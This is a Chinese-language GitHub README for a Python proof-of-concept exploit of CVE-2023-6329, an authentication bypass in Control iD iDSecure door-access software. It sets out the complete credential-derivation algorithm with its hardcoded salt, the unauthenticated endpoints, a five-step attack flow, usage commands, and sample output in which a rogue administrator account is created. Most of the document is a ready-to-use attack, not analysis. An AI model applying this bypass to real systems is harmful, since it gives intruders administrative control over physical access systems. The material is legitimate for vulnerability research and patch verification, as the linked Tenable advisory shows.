itzvenom/CVE-2023-6329

GitHub: itzvenom/CVE-2023-6329

针对 Control iD iDSecure 门禁系统的认证绕过漏洞(CVE-2023-6329)Python 概念验证脚本,通过可预测的密码推导算法实现无需凭据的管理员账户创建。

Stars: 0 | Forks: 0

# CVE-2023-6329 — Control iD iDSecure 认证绕过 ![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=flat-square&logo=python) ![CVE](https://img.shields.io/badge/CVE-2023--6329-red?style=flat-square) ![Severity](https://img.shields.io/badge/Severity-Critical-critical?style=flat-square) ![Affected](https://img.shields.io/badge/Affected-iDSecure%20%E2%89%A4%204.7.43.0-orange?style=flat-square) 这是一个针对 **CVE-2023-6329** 的 Python 概念验证漏洞利用程序,该漏洞是 Control iD iDSecure **4.7.43.0 及以下版本**中存在的一个不当访问控制漏洞。该缺陷允许未经认证的远程攻击者通过利用完全依赖于公开可访问值的可预测密码推导算法——即设备序列号、服务器提供的 nonce 和硬编码的 salt——来重构有效的登录凭据。一旦认证成功,攻击者可以在 Web 界面上创建一个新的管理员用户。 本脚本基于 Michael Heinzl 的原始 Metasploit 模块转换为 Python。原始漏洞由 [Tenable](https://www.tenable.com/security/research/tra-2023-36) 发现并披露。 ## 目录 - [漏洞详情](#vulnerability-details) - [工作原理](#how-it-works) - [系统要求](#requirements) - [安装](#installation) - [用法](#usage) - [输出示例](#example-output) - [参考资料](#references) ## 漏洞详情 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2023-6329 | | **受影响产品** | Control iD iDSecure | | **受影响版本** | ≤ 4.7.43.0 | | **漏洞类型** | 不当访问控制 (CWE-284) | | **攻击向量** | 网络 (未经认证) | | **披露日期** | 2023 年 11 月 27 日 | | **发现者** | Tenable | ### 根本原因 `iDS-Core.dll` 中的登录例程通过 `passwordCustom` 参数暴露了一个替代认证路径。该参数的值使用一个可预测的算法推导而来,该算法结合了设备序列号(无需认证即可公开检索)、调用者提供的 nonce 以及一个**硬编码的 salt 字符串**(`cid2016`)。由于计算过程中的每个要素要么受攻击者控制,要么可以自由获取,因此任何远程攻击者都可以计算出有效的 `passwordCustom` 值并以管理员身份登录。 通过此路径成功认证后,服务器会将 `admin` 账户密码重置为 `admin`,或者在该账户不存在时创建它。 ## 工作原理 该漏洞利用程序遵循五个步骤: **1. 版本检查** — `/api/util/configUI` 端点返回一个包含软件版本的 `401` 响应,用于确认目标是否运行着受影响的版本。 **2. 检索解锁数据** — 向 `/api/login/unlockGetData` 发送 `GET` 请求会返回设备的 `serial` 序列号和一个 `passwordRandom` nonce。此端点无需认证。 **3. 计算 `passwordCustom`** — 应用以下算法来推导绕过凭据: ``` sha1_hash = SHA1(serial) combined = sha1_hash + passwordRandom + "cid2016" sha256_hash = SHA256(combined) passwordCustom = int(sha256_hash[0:6], 16) # first 6 hex chars → decimal ``` **4. 认证并获取 JWT** — 将计算出的 `passwordCustom` 和 `passwordRandom` 通过 `POST` 发送到 `/api/login/`,该接口返回一个具有管理员权限的有效 JWT `accessToken`。 **5. 创建新管理员用户** — 使用该 JWT 向 `/api/operator/` 发送 `POST` 请求,注册一个 `idType: 1`(管理员角色)的新操作员账户。 ## 系统要求 - Python 3.8 或更高版本 - `requests` 库 ## 安装 ``` git clone https://github.com/itzvenom/CVE-2023-6329.git cd CVE-2023-6329 pip install requests ``` ## 用法 ``` python3 exploit.py --host [options] ``` | 参数 | 默认值 | 描述 | |---|---|---| | `--host` | *(必填)* | 目标 IP 地址或主机名 | | `--port` | `30443` | 目标端口 | | `--username` | `pwned_admin` | 新管理员账户的用户名 | | `--password` | `Pwned1234!` | 新管理员账户的密码 | | `--no-ssl` | `False` | 禁用 HTTPS (使用普通 HTTP) | ### 示例 针对默认端口上的目标的基本用法: ``` python3 exploit.py --host 192.168.1.100 ``` 为新管理员账户指定自定义凭据: ``` python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass! ``` 针对在非标准端口上运行且未启用 SSL 的目标: ``` python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl ``` ## 输出示例 ``` [*] Target: https://192.168.1.100:30443 ============================================================ [*] Target version: 4.7.32.0 [+] Target appears VULNERABLE. [+] passwordRandom : 2948271034 [+] serial : ABC123XYZ [*] Computed passwordCustom: 8301745 [+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... [+] User 'ctfadmin' created successfully. [+] Verified! New credentials work. [+] Login at: https://192.168.1.100:30443/#/login Username : ctfadmin Password : S3cr3tPass! ``` ## 参考资料 - [Tenable TRA-2023-36 — 原始公告](https://www.tenable.com/security/research/tra-2023-36) - [NVD — CVE-2023-6329](https://nvd.nist.gov/vuln/detail/CVE-2023-6329) - [Metasploit Module — auxiliary/admin/http/idsecure_auth_bypass](https://www.rapid7.com/db/modules/auxiliary/admin/http/idsecure_auth_bypass/)
标签:Control-iD, CVE-2023-6329, CWE-284, iDSecure, IoT安全, Maven, PoC, Python, 威胁模拟, 密码算法缺陷, 指纹考勤机, 无后门, 暴力破解, 漏洞复现, 漏洞验证, 硬编码, 编程工具, 网络安全, 认证绕过, 访问控制不当, 远程代码执行, 逆向工具, 门禁系统, 隐私保护, 默认凭据